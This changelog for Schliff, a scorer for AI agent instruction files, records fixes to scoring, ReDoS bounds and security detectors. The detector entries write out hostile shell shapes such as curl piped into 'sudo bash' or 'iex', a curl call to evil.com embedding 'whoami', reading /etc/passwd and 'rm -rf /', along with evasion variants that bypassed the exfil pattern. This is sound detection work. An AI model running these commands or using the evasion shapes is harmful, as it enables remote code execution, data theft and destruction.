All notable changes to Schliff are documented here. Format follows Keep a Changelog.
- A line that is a command now counts as actionable content.
efficiencyrecognised English imperatives at line start, so- \tool score ` — score one filescored nothing while "Run the score command" scored. Only commands that carry their explanation count: crediting every command-bearing line was measured to rank a dump ofls -laandpwd -P` above a documented command list, because the score divides signal by word count and the dump is shorter. Files that document their commands gain; nothing loses. composabilityrecognises an error contract, a prerequisite and a version pin as facts, not as phrasings. "Errors go to stderr with a non-zero exit" now counts as a declared error contract,uvcounts as a declared prerequisite (the tool wordlist could never be completed), andtool@1.2.3counts as a compatibility statement.doctorno longer counts vendored copies as installed skills. A repo with one skill reported six — three of them the same file inside virtualenvs and a uv cache archive — inflating the skill count, the grade distribution and the headline "Total context cost" (37,240 tokens where the real cost was 7,748). Skills innode_modules,.venv,site-packages,.cacheand.vercelare skipped. A skill's own directory name never excludes it, and a directory above the scan root never does either: a checkout under~/build/still finds its skills.- Three command docs named flags that do not exist.
/schliff:analyzeand/schliff:benchdocumentedrun-eval.sh --eval-suite <file>, which the script rejects (it takes the suite positionally);/schliff:initdocumentedinit-skill.py --goaland/schliff:triagedocumentedtext-gradient.py --focus, neither of which the parsers declare. An agent copies these verbatim, so a flag that does not parse is a broken instruction. A test now checks every documented invocation against the real parser.
- Scores for files that document their commands or state an error contract go up; no
file's score goes down. If you gate CI with
verify --min-score, nothing you pass today starts failing. - A denominator cap that would have stopped
efficiencyfrom penalising long files was implemented and reverted before release: it decoupled the score from length, which let padding dilute a keyword-stuffing penalty and keep the gain. The underlying limit stays open and is documented indocs/specs/2026-08-13-structural-signal-detection.md.
8.11.1 - 2026-08-10
- The skill mesh no longer reports a skill as colliding with itself. Installing the
same skill in two places —
~/.claude/skillsplus a project-local copy, which is how schliff itself is distributed — produced two critical findings and cost 27 mesh-health points. The pair was never two skills competing; it is one skill at two paths, and the remediation the mesh generated for it named the same skill on both sides. Pairs sharing a declared name are no longer compared, at every comparison site. - A duplicate skill name is now reported as what it is.
duplicate_name(severityinfo, no health penalty) names every path the skill was found at, because only one of them resolves and the file itself does not say which. doctorshows mesh findings again after an upgrade. Its incremental cache keys on skill content, so upgrading schliff — which changes no file on your disk — used to return the verdict computed by the previous version indefinitely. The cache now carries a version stamp and discards verdicts written by different analysis logic.
8.11.0 - 2026-08-10
-
Credential findings in
score,score --json,doctor,verifyand the GitHub Action. Schliff points out strings shaped like an AWS access key, a GitHub token, an Anthropic or OpenAI key, a Slack token or a Google key. A finding carries the vendor and the line number, never the value — the Action hands the whole score object to its PR-comment step, so output sites cannot be enumerated and the value must not be in the object to begin with.Nothing gates on it, and no exit code changes anywhere. A green pipeline stays green:
verifystill exits on--min-scoreand--regressionalone, and the Action annotates with a warning without failing the job. No score changes either — the composite, every dimension, badges,compareand every pinned threshold are bit-identical to before.The limitation, stated plainly: a token's shape does not tell a live key from a documentation example. Placeholders that name themselves are excluded — AWS's own
AKIAIOSFODNN7EXAMPLE,sk-ant-REPLACE_ME…,<your-key>,${VAR}— but a placeholder that merely looks real will be reported, and a real key in a shape schliff does not know will not be. Measured over ~740 real files on the author's machine, every finding the scan produced was documentation about credentials. JWTs are deliberately not detected at all: the jwt.io sample and Supabase'sanonkey are public by design and structurally identical to a service key. This is a report, not a secret scanner — if you need enforcement, run a dedicated one, and read thecredentialsfield ofschliff score --jsonif you want to fail your own build on it.
- The Action now refuses paths that resolve outside the workspace. Both
skill-pathandeval-suiteare checked before schliff reads anything. A pull request from a fork controls its own checkout and could previously plant a symlink pointing elsewhere on the runner; schliff's messages report existence and exact byte size, which made an unguarded read an out-of-repo oracle. A pinned pre-8.11 engine degrades to "no findings" rather than failing the parse.
8.10.1 - 2026-08-04
The hosted playground, leaderboard and badge endpoint have been retired. The CLI, the GitHub Action, the pre-commit hook and the Claude Code skill are unaffected and continue to be maintained — this release exists so the published package stops pointing at services that no longer answer.
-
The hosted surfaces are offline.
schliff-playground.vercel.appandschliff-leaderboard.vercel.appnow serve a static retirement notice and hold no functions and no environment variables. The Redis instance behind the leaderboard's rate limiter has been deleted.The reason is not the one this started as. The trigger was a provider-identification duty, which for a non-monetised open-source demo is genuinely disputed. The load-bearing reason is the data-protection information duty, which attaches to processing rather than to how an operator presents themselves — visitor IPs used as rate-limit keys are processing, and no address, wording change or legal opinion discharges that. It is a permanent operating obligation, and it was being paid for surfaces with no demonstrable demand: web analytics was never enabled on either project, and a code search for both URLs found references in three repositories, all owned by the maintainer.
Badges already embedded in a README do not break.
/api/badgestill answers, as a static shields endpoint reportingretiredin grey. Both Vercel projects are kept rather than deleted, deliberately: a released*.vercel.appsubdomain is re-registrable, and this project's own Action had already written the playground URL into third-party pull requests.The application code and its tests stay in the repository. Full rationale and the rejected alternatives — including a service address and a static client-side rebuild — are in
docs/adr/0008-retire-hosted-surfaces.md. (#176, #177)
-
The documented CI recipe granted no permissions while the feature it documents needs one.
comment-on-prdefaults totrueand the comment step needspull-requests: write, but the README workflow carried nopermissions:block. In repositories whose default token is read-only the documented feature failed silently; in repositories with a read-write default the workflow ran with more privilege than it needed. The example now carries the minimal set that this project's own self-test workflow already used. (#177) -
Added the warning against
pull_request_targetthat was missing. It is exactly the trigger a user reaches for when fork-PR comments fail, and it pairs a write-scoped token with a checkout of untrusted code. On a fork PR the read-only token is the intended degradation — the score and the exit code still work, only the comment is skipped — and the docs now say so instead of leaving the reader to discover it. (#177) -
The CI example pinned
actions/checkout@v4while every workflow in this repository pins by commit SHA. For a tool that argues for supply-chain care, teaching the unpinned form was the wrong signal. It now uses the same SHA the workflows here already trust. (#177) -
A README link rendered as
#10while pointing at pull request 129. (#177)
-
The README now says where a model is involved and where it is not. Scoring calls no model and core Schliff is literally zero-dependency —
pyproject.tomldeclares nodependenciesat all. The two opt-in extras that do call one run from the user's own machine with the user's own API key; this project operates no inference service, holds no key, and receives nothing that is scored. Without the extra installed those paths refuse to run rather than degrading silently, andschliff evolve --budget 0never imports the LLM path at all. The install table now names the actual packages (anthropic,pydantic,litellm) instead of saying "LLM client". (#178) -
RELEASING.mddrops the web-redeploy step and the playground engine pin: there are now six version surfaces, not eight. (#177)
8.10.0 - 2026-08-04
Four correctness fixes, all in the same place: a value that describes how a file was measured, reported wrongly. Three of them were found by verifying the fourth.
-
--format skilland--format skill.mdscored the same file differently — the alias is now the canonical name, which LOWERS the score for files without frontmatter. Measured onAGENTS.md: 39.3 via the alias, 34.5 via the canonical spelling. Across the 29 tracked instruction files in this repo, exactly the 8 that carry no YAML frontmatter diverged, by 4.7–5.5 composite points — two of them real files in the project's own benchmark corpus, so this was not an edge case nobody met.shared.build_scoresbranched on a raw string compare (fmt != "skill.md"), so the publicskillalias entered a normalization branch that its canonical twin skips. For a file without frontmatter that branch invents a name and description from the body and scores the wrapped copy —structurewent 50 → 80 and theno_frontmatterissue disappeared. The alias was hiding the exact defect the dimension exists to report.The two spellings agreeing is not a judgment call for a deterministic scorer; which side they agree on is. Normalization exists so formats that legitimately carry no frontmatter (CLAUDE.md, AGENTS.md,
.cursorrules) are scorable at all, and a SKILL.md is defined by its frontmatter — so the un-normalized, lower number is the measurement and 39.3 was the flattered one. This is why the release is a minor and not a patch.Only the stated-format path moves.
detect_formatalready returned canonical names, so auto-detection, every other command, and the playground are strict no-ops — verified cell by cell. Nothing that pins a format in CI can change verdict either: a stated format reaches the engine only throughscore, never throughverify.Gate: 29 files × 12 format values (
None, all 10 registry/alias choices, andunknown), comparing the composite and every per-dimension score — 340/348 cells byte-identical, and the 8 that moved are exactly the accused set, each now equal to its canonical twin. (#173) -
The reported format echoed the
--formatalias instead of the format's name. A genuine SKILL.md scored with--format skillprintedFormat: skill (normalized), where neither half was true —skillis not the format's name, and content that already has frontmatter is returned unchanged. The JSONformatfield now reports canonical names for every alias (--format claude→claude.md). No consumer breaks: the leaderboard validates against its own display vocabulary, which never accepted engine names. (#173)
-
--format system-promptsilently dropped the security dimension, worth up to 15 composite points. The same file, the same version:49.4with 7 dimensions when the format was detected,36.8with 6 and nosecuritywhen it was stated through the public hyphenated alias. Spread across five files: 5.9 to 15.0 points. The user who pins the format explicitly — the more careful thing to do in CI — got the wrong number.shared.build_scoresdispatched on a rawfmt == "system_prompt", which thesystem-promptalias fails; the file then fell through to the instruction-file branch, where theinclude_securitygate removes a dimension that is CORE forsystem_prompt(weight 0.15). Dispatch now resolves through a singleregistry.resolve_format(), which also replaced the inline copies of that lookup — the duplication is why one caller could forget it. (#168) -
schliff doctor <typo>exited 0. A named directory that does not exist rendered "No skills found. Check skill directories." and exited successfully — indistinguishable from an empty directory, so no CI gate could catch the typo. The report then listed the DEFAULT scan directories, which it had not scanned, as if those were the ones that came up empty.verifyhad always errored on a missing file;doctordisagreed with it.Validation sits at the CLI boundary, so library callers are untouched, and only paths the user NAMED are checked — the built-in defaults stay optional, because
.claude/skillslegitimately does not exist in most repos and the no-arg scan is the common invocation. A path that exists but is a regular file is rejected too; it previously scanned to zero in silence. (#169) -
The version stamped into every score described the installed package, not the engine that produced the score.
_resolve_version()readimportlib.metadata, i.e. the installed dist-info, while its docstring promised the value "can never drift from pyproject.toml" — in a source or editable checkout those are different things, and the docstring was part of the defect. Measured in this repo: all three gated version sources said 8.9.0,schliff versionsaid 8.1.0, and the console script was loading the 8.9.0 working tree the whole time.Not cosmetic —
score --jsonstamps this value asversion, so it propagated into benchmark JSONL and leaderboard entries, attributing measurements to an engine version that never produced them. Now read from the package__init__.pynext to the module, which is already gated againstpyproject.toml, and resolved by path rather than by import so the answer does not depend on how the CLI was invoked. Apip installuser was never affected; their metadata matches their code. (#172)
8.9.0 - 2026-07-30
-
Five scoring regexes were quadratic on untrusted input; the worst cost 162 seconds of CPU for one unauthenticated request. A trust-boundary audit of the whole repo found the same defect in four of them; the new empirical gate found the fifth,
_RE_SKILL_AS_OBJECT, on its first run. It is not the textbook ReDoS shape — no nested quantifier, no overlapping alternation, just an unbounded run followed by a required literal.[\w/]+before a required\.consumes to the end of the input, fails on the dot, and gives back one character at a time, once per start position.The measured worst case sat inside the public playground's 32 KB input cap, whose own comment claimed that cap bounded "any residual O(n^2) hot path to well under a second": 162.6 s at 25,883 bytes against 46 ms for a benign payload of the same length, growing 4.01× per doubling. Reachable unauthenticated via
POST /api/scoreandGET /api/badge?repo=, from the CLI at the 1 MB cap, and — the worst blast radius — from the GitHub Action on a fork PR's AGENTS.md, i.e. in other people's CI.Fixed by bounding only the quantifier the measurement blames, with every bound calibrated against the longest run it actually consumes across 380 real instruction files rather than guessed: 58 for
[\w/]+, 118 for[\w/.-]+, 1,151 for a backtick span, 19 for[\w-]+in a trigger prompt. A first guessed bound of 120 would have sat one character above a real 118-character token and truncated a real 1,151-character span; the failure mode of a guessed bound is a silent score change.Whitespace runs are deliberately left unbounded. Self-review of the first commit caught it bounding
rm\s+torm\s{1,8}"for consistency" with the flag runs that were the real quadratic source — which cost five detections that 8.8.2 caught (rmplus 9 or more spaces or tabs, then-rf /), for no gain: that run is prefixed by the literalrm, which limits how many start positions it is reachable from, so it never contributed to the blowup. The pattern is linear without the whitespace bound (1.92–2.04× per doubling, measured on a whitespace-run payload). This is the #149 defect class reproduced internally — narrowing a matcher without enumerating its evasion classes, then checking only that the corpus verdict did not move, which a corpus cannot show for an evasion it does not contain. Gated byTestDangerousCmdWhitespaceIsNotBounded, which walks whitespace-run length 1…100 for spaces and tabs on both sides of the flag cluster; re-introducing the mistake turns 11 assertions red.clarityneeded a second, independent fix: bounding its regexes alone only took the worst case from 162.6 s to 11.9 s, because the match-independent context build and search sat inside the per-match loop, turning O(n²) into O(m·n²). Hoisting them out is output-identical by construction. Bound plus hoist: 58.9 ms.Two-sided acceptance, because a one-sided "is it fast now" check is how a narrowing ships as a silent detection loss: 0 of 250 real files change their clarity result, the published hero score and every case-study number reproduce byte-identically against a clean
mainworktree with identical commands, and every malicious shape is still detected with the same finding counts.rm -rf /still matches and the Docker layer-cleanup false positive stays fixed.Patterns:
_RE_SPECIFIC_REF,_RE_CONCRETE_CMD,_RE_SEC_DANGEROUS_CMD(three consecutive unbounded flag runs before a required/),_RE_LENGTH_EXTENDED(the second branch — the first fails fast on digits, which is why an early probe against one branch showed nothing), and_RE_SKILL_AS_OBJECT. -
Two gates against a recurrence.
test_patterns_scale_linearly.pytimes all 224 compiled patterns across 30 modules against 25 pathological filler alphabets at doubling lengths and fails on super-linear growth — it found_RE_SKILL_AS_OBJECT, which was not on the audit's fix list, on its first run. It confirms an offender at two consecutive doublings with more repetitions before failing, because the healthy margin is 1.3–2.4× against a 3.0× threshold and a single sample under load did flake once during development; verified red-capable (4.20×, 4.02× confirmed) and green four times over under four busy cores.test_patterns_are_bounded.pyis its deterministic companion: it pins each bounded spelling and pins each bound above the corpus maximum it was calibrated from, so tightening one below the real data fails too.What these gates do not cover, stated rather than implied: the empirical one reaches exactly as far as its filler alphabet. Its first draft also covered only 11 modules and 138 patterns while the harness that found the defects covered 25 and 224 — a gate narrower than the harness it replaces is not a regression guard, so the module list was widened (0 additional findings, so the coverage was free) and a count assertion now fails if it ever shrinks. The remaining blind spot is real and documented in the test:
manifest._FMis quadratic on a frontmatter-shaped input and none of the generic fillers trip it. A shape nobody thought of stays invisible.A repo-wide static rule was prototyped and rejected on measurement: "any unbounded quantifier on a character class" flagged 47 of the 102 patterns in
scoring/patterns/*, and the refinement "…with no required literal prefix" still flagged 11, including one certain false positive. A gate whose allowlist is longer than its findings is the thing it exists to prevent. -
schliff manifestparsed third-party frontmatter quadratically and read files with no size cap at all.manifestwalks every SKILL.md under~/.claude/skills, every command under~/.claude/commands, the project's.claude/, and the payload of every enabled plugin — all third-party content — and its frontmatter regex opened with^---\s*\n.\smatches the newline itself, so every possible\s*length restarted the lazy body scan: 25.6 s at 64 KB, 4.04× per doubling, ~1.9 h extrapolated at 1 MB. Through the shipping CLI on one hostile 64 KB skill: 30.77 s → 0.22 s.Fixed with
[^\S\n]*— whitespace except the newline. A class that cannot span the record separator cannot restart that scan: 1.5 ms at 64 KB, linear, and every code point the class admits was probed individually for a revived blowup (1.97–2.07× per doubling). 0 divergences from 8.8.2 across 14 enumerated separators. The narrower[ \t]*\r?tried first lost four of them — form feed, vertical tab, NBSP, em space — which for a tool that reports resolved state means adisable-model-invocation: trueskill reads as LOADED. Caught in review by enumerating the dimension, not sampling it; gated for all 14 shapes including that consequence. The count was first published as six, from an enumeration run against in-memory strings —parse_frontmatterreads with universal newlines, which collapses the CR-based shapes before the regex sees them, so\ris harmless but not load-bearing on this path. The translation is now pinned by a test.Separately, the read was a raw
read_text()with noMAX_SKILL_SIZE— the only reader in the engine without one. Both call sites didfm, _ = parse_frontmatter(...), so the body was the only reason a whole file had to be in memory: the fix reads a bounded 65,536-character head and drops the body from the signature, which removes the unbounded read, the quadratic trigger and a dead return value together. The bound is calibrated, not guessed — across 248 real skills, commands and plugin payloads the frontmatter block runs a median of 694 characters, p95 4,476, max 15,711, so it carries 100% with 4× headroom. Characters, not bytes:read(n)on a text handle counts code points, so the constant is named_FM_READ_CHARSrather than promising a byte guarantee the call does not make.Verified against the real install:
manifest --jsonoutput is byte-identical tomain(same sha256, 109 artifacts, 8,240 resident tokens, 19 findings). The empirical ReDoS gate gained the frontmatter-shaped fillers that were the documented blind spot, so this defect is now caught by the gate rather than by hand. -
The playground's byte cap was bypassable with a negative
Content-Length.read_len = min(content_length, MAX_CONTENT_SIZE)is-1when the header is-1, andrfile.read(-1)reads to EOF — so the cap that line's own comment promises did not hold. Measured by drivingdo_POSTwith an instrumented socket: 3,145,832 bytes read against a 512,000-byte cap. The leaderboard'ssubmit.pyalready had the< 0half of its guard; the playground did not. Now rejected as400 Invalid Content-Length header, the same reason the endpoint already gives for an unparseable one.Honest scope: bounded in practice by Vercel's own body limit, and whether the edge forwards a negative
Content-Lengthat all is unverified — checking would mean probing production. Defence in depth and a fixed asymmetry between two sibling endpoints, not a demonstrated live exploit. -
run-eval.sh's 2-second regex timeout guard could be silently inactive._GREP_TIMEOUTis set only whengtimeoutortimeoutresolves on PATH, and neither ships with a stock macOS — so there the guard is inert and its124) pattern timed outbranch is dead code, with nothing in the output saying so. A guard you cannot tell apart from a working one is worse than a documented absence. It now prints a one-time note naming the consequence and the remedy.Deliberately not replaced by a portable Python fallback: measured, the sink does not backtrack — GNU grep, BSD grep 2.6.0 and ugrep 7.5.0 are all DFA-based and stayed flat (0.044–0.050 s) on the patterns the complexity guard accepts. This is defence in depth, while swapping ERE for Python
rewould re-run the dialect regression that left six assertions dead on CI for months. -
clarity's function docstring contradicted its own module docstring, claiming a zero default weight and a--clarityopt-in. Both were stale — clarity runs in the default scorer set for every format — and that contradiction is exactly what made two quadratic sub-checks in that function look unreachable.Spec:
docs/specs/2026-07-30-redos-audit-fixes.md.
-
The SKILL.md token budget was set below the median of what it measures. It flagged 75% of a 166-file installed-skill population (median 1,960, p75 2,934) and 44% of schliff's own 16-file calibration corpus — including the format's own reference implementations (Anthropic's
skill-creator8,047,writing-skills6,582,brainstorming2,649) and, pointedly, schliff's own card at1,045 / 1,000 (over)immediately after being trimmed from 11,700 to 4,240 chars for exactly this reason.A threshold at roughly the 12th percentile of its own population reports "yes" and carries no information. Raised to 2000, just above the measured median, so it flags the upper half rather than the upper three quarters without adopting the population's bloat as the target. A SKILL.md stays held at least as tight as a CLAUDE.md and tighter than an AGENTS.md, and
brainstormingat 2,649 is still flagged — context paid on every trigger is worth naming. The derivation is recorded beside the constant so it stops being a magic number; the other budgets in that table were not measured and are unchanged.This is advisory only — token budgets never enter a score.
within_budgetdoes gate whether a watch hook reports growth, which is where the missing selectivity actually cost something.The same boundary falls out of a measurement this project already published —
docs/launch/state-of-ai-instructions.md"Length Has a Sweet Spot": across 120 files the 300–2000 token band averages composite 64.5, under 300 averages 51.3, over 2000 averages 59.9. So 2000 marks where files start scoring measurably worse, not merely where the distribution sits. Two unrelated methods, one number.docs/SCORING.mdanddocs/ARCHITECTURE.mdboth carried a hand-copied budget table stating the old value; both are corrected, and a test now compares each table against the constant in both directions — a stale value fails, and so does adding a format without documenting it. Nothing had gated those copies, which is why a shipped doc could state a budget the code no longer used.A regression test also asserts schliff's own card satisfies the budget schliff advertises for its format: a measurement tool must not flag its own exemplar.
-
The bundled eval suite measured its own source, so it measured nothing. All 108
containsassertions inskills/schliff/eval-suite.jsonappear verbatim in the 241-line card the suite was generated from; only 54 of them appear in the prompt they were filed under. A suite extracted from an artifact scores that artifact 100% by construction — which is exactly what it did, reporting 119/119 and a composite of 98.9 for a card that a real agent scored 0 of 8 on.The 44 trigger prompts and 14 edge cases are unchanged. The test cases are re-derived from their prompts and from the public CLI surface: 4 cases, 13 assertions, each one answering "what would a card need to contain for an agent to do what this prompt asks". Against this card they pass 13/13; against a minimal placeholder card, 1/13 — so they discriminate rather than describe.
Test cases whose prompts asked for things that do not exist were dropped rather than satisfied: there is no
discovery modeand nohigh-ROIranking (zero occurrences inscripts/), and no custom-metric interface. The 241-line card and its original suite are kept intact as frozen fixtures underskills/schliff/tests/fixtures/self-skill-baseline/. -
Loop documentation now lives with the loop. Ten of the suite's test cases probed the autonomous improvement loop but asserted against
SKILL.md, forcing the agent-facing card to carry the vocabulary of a subsystem reachable only through the/schliff:*plugin commands. That coverage moved totests/unit/test_command_docs_document_the_loop.py, which gates the command docs that actually own the behaviour. -
Self-test floors measure the property instead of a proxy.
test-self.sh's composite floor drops 90 → 85 (matching the same assert intest.yml, which was skipped rather than passing on the red run), because the 90 was only ever met by the circular measurement above. The>= 100 linesguard is replaced bystructure >= 90: it was rejecting a deliberate 99-line trim while accepting padding. Measured on this card and two degradations — full 95, worked examples stripped 85, gutted to bare commands 75 — so the replacement catches both losses the line count caught.
-
The card-executable test wrote into the repo's own score history. It ran each documented command with the working directory set to the package, and
verifyappends to.schliff/history.jsonlrelative to the working directory — so every test run added three throwaway entries recording32.7 [F]for a tmpdir copy of the card — the dataprogress.py,diffand/schliff:reportread. It accounted for 61 of the 212 throwaway rows in this repo's history; the rest are older residue from tests that stopped doing this in June. The commands now run from the sandbox, which also makes the test more faithful: the card's promise is that they work from anywhere. -
An assertion the evaluator could not run counted as one the skill failed.
run-eval.shevaluated patterns withgrep -qiE … 2>/dev/nullinside anif, and grep's exit status carries three outcomes rather than two: 0 matched, 1 did not match, 2 could not compile the pattern.timeoutadds 124. All of them collapsed intopassed: falsewith the reason discarded.What that cost, measured: six assertions in the previous suite were dead on CI for months (
mainreported 113/119 there against 119/119 on a developer machine, whosegrepwas a more permissive implementation), and the reason was unobtainable — which is how a wrong diagnosis about the generator ended up published in a commit message. The swallow does not only produce dead tests, it makes confident wrong statements about them the only available move.Unrunnable assertions are now reported as such:
pass_rategains anerroredcount, the affectedbinary_resultsentry carries anerrorexplaining which construct grep refused, and a warning goes to stderr. They are excluded from the pass-rate denominator and not written to.schliff/failures.jsonl— an assertion that cannot execute is evidence about the suite, not about the skill, and/schliff:triageclusters that file into proposed SKILL.md fixes.Note the ReDoS guard above the call never covered this: it rejects expensive patterns, not invalid ones —
validate_regex_complexity("[")returns ok.Output contract:
pass_rate.erroredis new;binary_results[].errorappears only on unrunnable assertions. Both additive. -
Two gates so the fix cannot rot. Excluding errored assertions shrinks the denominator, so a decaying suite could report a rising pass rate — one runnable assertion out of thirteen reads 100%.
test-self.shtherefore assertserrored == 0on schliff's own suite (verified red by injecting(— the pass rate stayed at a reassuring 100% while only the new assertion moved). Andtest-integration.shnow runs a suiteinit-skill.pygenerated instead of only checking that its JSON parses, which turns the generator's contract from shape into property. -
/schliff:autodocumented a flag that does not exist and a state file it does not write.commands/schliff/auto.mdlisted--resume, whichauto-improve.pyrejects withunrecognized argumentsand exit 2 — the same defect class as thedoctor <dir>fix above it. It attributed the loop's history to.schliff/history.jsonl, which belongs toverify --history; the loop writes.schliff/auto-improve-state.jsonl. Its invocation assumed a working directory ofskills/schliff.It also implied parallel worktree experimentation.
auto-improve.pydetects the stuck condition and printsTriggering parallel branching…, then continues in-process — no branch, no worktree. The doc now says so, and a test asserts it keeps saying so.Added, all verified by running the driver first: the cross-session episode store (
~/.schliff/meta/episodes.jsonl, recalled before iterating and written after), the per-iteration record shape, the undocumented three-consecutive-errors stop, and the real output format.
8.8.2 - 2026-07-29
-
The exfil sink could be walked around by wrapping the interpreter. 8.8.1 narrowed the sink so a pipe only counts when it pipes into something that executes or transmits, but it required the interpreter token flush against the pipe. Anything in front of it went straight through — and
curl … | sudo bashis more dangerous than the form that was caught, not less.Two evasion families, which compose:
shape 8.8.1 now curl … | sudo bash,| sudo -E sh,| env FOO=1 bashmissed caught curl … | /bin/bash,| /usr/bin/env shmissed caught curl … | iex,| pwsh,| powershell,| php,| fish,| ddmissed caught A bounded wrapper chain (
sudo/env/command/nohup, their flags and assignments) and an optional absolute path may now precede the interpreter, and the interpreter list gained the shells and runtimes it was missing.iexis the embarrassing one: the very corpus that motivated the 8.8.1 change containedirm … | iexin prose.Every quantifier in the addition is bounded and the wrapper chain is non-nullable — this pattern has a ReDoS history and the widening must not reintroduce one. Verified linear against adversarial wrapper/flag/assignment/path runs (~2× per doubling, 1.6 ms at n=2000).
No false positives were re-opened: re-scanning the same frozen 670-skill corpus gives byte-identical stock counts — 44 total,
exfil6, every category ±0.Why it was missed: the 8.8.1 guard assertions were derived from the same assumption as the pattern — every one of them was a bare
| <interpreter>form. A test written from the same mental model as the code cannot find that model's blind spot. The new guards cover the wrapper and path families explicitly.Also recorded, since 8.8.1 only said "the backtick span is removed" without naming the cost: that change gave up legacy backtick command substitution, so
curl http://evil.com/`whoami`andwget `cat /etc/passwd` …no longer match. POSIX$(…)and<(…)still do, which is the form real payloads use.The evasion set was then enumerated rather than guessed. Differencing every verb × sink combination against the pre-narrowing 8.8.0 pattern surfaced four more genuine shapes that had slipped through —
|& bash(bash's stderr-merging pipe),| "bash"and| 'sh'(quoted),| $SHELL(named through a variable), and| busybox sh(applet multiplexer) — all now closed. The same differential confirmed that the only other losses versus 8.8.0 are| jq,| grep,| less,| column -tand| head, which is the narrowing working as intended. Every difference against the previous pattern is now either caught or deliberately benign.Corpus re-scanned after each widening: stock counts stay byte-identical at 44, every category ±0. ReDoS re-verified linear after both changes.
8.8.1 - 2026-07-29
-
Three security patterns fired on ordinary prose. They were found by running the shipped scorer over a frozen corpus of 670 SKILL.md files from 134 public community hubs and hand-adjudicating every hit. The scan produced 144 matches and zero true positives; two of these defects accounted for 68 of them, and the third is the same class caught while fixing them.
_RE_SEC_DATA_EXFILhad no word-boundary anchor, so the shortncalternative matched the tail of any word ending in "nc" followed by whitespace. Markdown is full of them — "async ops", "sync primitives", "CNC tool-path generation", andgo test -bench=BenchmarkMyFunc -benchmem ./pkg/... | tee report.txt. The anchor is applied to the two alternatives that begin with a verb, not to the whole group: the middle alternative starts with a subshell, where a word boundary could never hold._RE_SEC_DANGEROUS_CMDtreatedrm -rf /as a prefix, so it matchedrm -rf /<any absolute path>and reported the canonical Docker layer cleanuprm -rf /var/lib/apt/lists/*as a root wipe. The recursive-force alternatives now require the target to be root itself._RE_SEC_ENV_LEAKhad the identical missing anchor as the exfil pattern —catandlogare the tails ofconcat/logcatandcatalog/changelog/blog. Unlike the other two this one is latent, not observed: it produced zero false positives in the corpus, where all 17 of its matches were genuine verb invocations. It is fixed for consistency and because the exposure is broad — the same corpus carries 290 occurrences of 27 distinct carrier words, each one nearby secret token away from firing. Its match count on the corpus is unchanged at 17, confirming no genuine match was lost. -
The exfil sink read markdown syntax as shell syntax.
_RE_SEC_DATA_EXFILaccepted a bare|or any backtick span as evidence of a pipe or command substitution. The input is markdown, which reuses both characters for entirely different things —|separates table cells, backticks mark inline code — so ordinary API documentation matched: a table row reading "Fetch full transcripts for source files", or the prose "if the responseContent-Typeis". One skill was flagged on a passage warning its users not to pipe curl into bash.A pipe now counts only when it pipes into something that executes or transmits (
sh,bash,python3,node,eval,nc,curl,tee,xargs,base64, …). The backtick span is removed.$(and<(stay, since markdown does not reuse those.Recall note, stated plainly: the field corpus contains zero genuine exfil detections — every one of its exfil hits was adjudicated a false positive, including the hit on the genuinely malicious fixture, whose real payload is caught by
obfuscationrather than here. The corpus therefore cannot demonstrate that recall was preserved; only the guard assertions intests/unit/test_security_field_false_positives.pydo, and they were written to carry that weight.Impact, measured on the same 670-file corpus, all four fixes together: stock matches 144 → 44 (−69%).
exfil106 → 6,dangerous_cmd13 → 0,env_leakunchanged. Files scoring a perfect 100 on security: 598 → 650. Files tripping the advisory gate (SECURITY_GATE = 70) — every one of them a false alarm, since the corpus yielded zero true positives — 27 → 6, and of the six that remain, one is the genuinely malicious fixture and one an openly declared red-team skill. No file gained a match.Narrowed, not disarmed. The four genuinely hostile files keep every real detection:
injectionandobfuscationcounts are byte-identical, and the singleexfilhit that disappeared was itself the false positive "Check curl is installed:which curl".Not affected: schliff's own
AGENTS.mdandREADME.mdmatch neither pattern before or after, so the published hero score and badge do not move. Golden scores are unchanged.For external files: security scores can only rise, never fall — the change removes penalties, it never adds them.
Both defects are pinned as repo-named regressions in
tests/unit/test_security_field_false_positives.py, each false-positive case paired with a guard asserting the genuine attack shape still matches, so a future change cannot silence a detector instead of narrowing it.
8.8.0 - 2026-07-28
-
An unrecognised
<runner> run <target>no longer counts as a build command (#133).operational_coveragecredited thebuildcategory whenever arun/r/exec/dlxkeyword had been consumed — without ever inspecting the target.npm run wibblescored a build;npm run test-unitscored a build rather than a test; and the identical script written asyarn test-unit, with no keyword to consume, was dropped entirely. The engine reported "real build command resolved" about a target it had not looked at.Such commands now carry the family
unclassified: real and runnable, family undetermined. This mirrors the doctrinecheck-commandsalready follows — claimdanglingonly when provable, otherwiseunknown.pylintjoined the intrinsic test tools, where the 16 other linters already sat, souv run pylintis now classifiedtestinstead of losing its family along with the fallback.Impact:
unclassifiedcredits no category, so files that documented no build step stop being scored as if they did. Over the 30-file AGENTS.md corpus exactly one file moves (80.6 → 72.6, one B→C reclassification); mean 61.79 → 61.53, median/min/max unchanged. Golden re-derived from the engine.Not affected:
check-commandsresolves the identical command set — proven set-identical over 259 real instruction files (409 command/status tuples, zero difference, zero newdanglingclaims).make test-unitand friends remain outside the vocabulary by design; loosening that guard was measured to buy 2 genuine commands at the cost of 14 non-commands, and is documented in the README rather than changed. -
Output contract:
schliff check-commands --jsonmay now emit"family": "unclassified". Existing values are unchanged andstatusis untouched, but consumers that switch onfamilyshould treat it as an open set.
8.7.0 - 2026-07-22
- The
structurescore is now reproducible — a pure function of the file's bytes (#10). It previously depended on the file's on-disk neighbourhood (a siblingreferences/directory and whether declared references resolved on disk), so the same file scored ~15 points higher in its real directory than in isolation — the public badge disagreed with the author's own CLI, worst on AGENTS.md (structure weight 0.4). Now:- Progressive disclosure is credited from content — markdown links to local
.mddetail files (and anchoredreferences/paths) — not from areferences/directory a reader is never pointed to.scripts/build-command mentions no longer count. Tiered: ≥2 links → full credit, 1 → partial, 0 → none. - The referenced-files component credits well-formed declared references from
content, with a traversal (
..) / ref-stuffing guard that also prevents the linter from ever being used as a filesystem existence oracle. - Dangling-reference detection is preserved as a non-scoring lint issue, emitted only from a provable on-disk location, so it never fires falsely in an isolated or temp-scored context.
- This also corrects a long-standing under-crediting of AGENTS.md/CLAUDE.md/
.cursorrules, which are always scored through a normalized temp copy: their content disclosure links are now credited. Scores for files that link detail move upward — including this repo's own AGENTS.md (91.6 [A] → 93.6 [A]), which now scores identically in-repo and in isolation. Golden scores were rebaselined with documented values; field-validated over 115 real installed skills. A new isolation-equivalence test pins that a file scores the same with and without its on-disk siblings.
- Progressive disclosure is credited from content — markdown links to local
- The terminal no longer silently drops score warnings (#22). The calibrated- weights "not comparable" notice and the "no weighted dimensions" warning — both already present in the JSON output — were dropped from the terminal rendering.
